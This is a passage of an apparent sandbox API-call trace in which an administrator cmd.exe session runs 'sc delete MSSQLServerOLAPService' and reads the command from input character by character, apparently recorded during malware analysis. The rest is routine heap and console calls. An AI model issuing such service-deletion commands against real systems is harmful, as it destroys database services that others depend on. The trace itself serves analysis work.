[0076.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0076.331] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.332] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0076.332] GetProcessHeap () returned 0x240000 [0076.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0076.332] GetProcessHeap () returned 0x240000 [0076.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0076.332] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MSSQLServerOLAPService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MSSQLServerOLAPService", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0xb40, dwThreadId=0xb24)) returned 1 [0076.335] CloseHandle (hObject=0x54) returned 1 [0076.335] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0076.335] GetProcessHeap () returned 0x240000 [0076.335] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba90 | out: hHeap=0x240000) returned 1 [0076.335] GetEnvironmentStringsW () returned 0x261b10* [0076.336] GetProcessHeap () returned 0x240000 [0076.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0076.336] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.336] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0076.336] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0076.336] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0076.394] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0076.394] CloseHandle (hObject=0x50) returned 1 [0076.394] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0076.394] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0076.394] GetProcessHeap () returned 0x240000 [0076.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0076.394] GetEnvironmentStringsW () returned 0x261b10* [0076.394] GetProcessHeap () returned 0x240000 [0076.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0076.394] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.394] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0076.394] GetProcessHeap () returned 0x240000 [0076.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba70 | out: hHeap=0x240000) returned 1 [0076.394] GetEnvironmentStringsW () returned 0x261b10* [0076.394] GetProcessHeap () returned 0x240000 [0076.394] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba70 [0076.394] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0076.394] GetProcessHeap () returned 0x240000 [0076.394] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0076.394] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0076.394] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0076.395] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.395] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0076.395] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.395] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0076.395] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.395] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0076.395] GetConsoleOutputCP () returned 0x1b5 [0076.396] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0076.396] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0076.396] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2597e0 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c5b0 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0076.443] GetProcessHeap () returned 0x240000 [0076.443] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0076.443] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.444] GetFileType (hFile=0x120) returned 0x3 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0076.444] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0076.444] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0076.444] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0076.444] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0076.444] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.444] GetFileType (hFile=0x120) returned 0x3 [0076.444] _get_osfhandle (_FileHandle=1) returned 0x120 [0076.444] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0076.444] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0076.444] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.444] GetFileType (hFile=0xb8) returned 0x3 [0076.444] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.444] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.444] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.444] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MSSQLServerOLAPService\n\n") returned 1 [0076.444] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.445] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MSSQLServerOLAPService\n\n") returned 1 [0076.445] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.445] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.445] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MSSQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MSSQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MSSQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="MSSQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="sSQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="DQLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.446] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.446] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="tLServerOLAPService\n\n") returned 1 [0076.446] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.446] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="sServerOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="ServerOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="erverOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="rverOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="verOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="erOLAPService\n\n") returned 1 [0076.447] _get_osfhandle (_FileHandle=0) returned 0xb8 [0076.447] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0076.447] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0076.447] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: 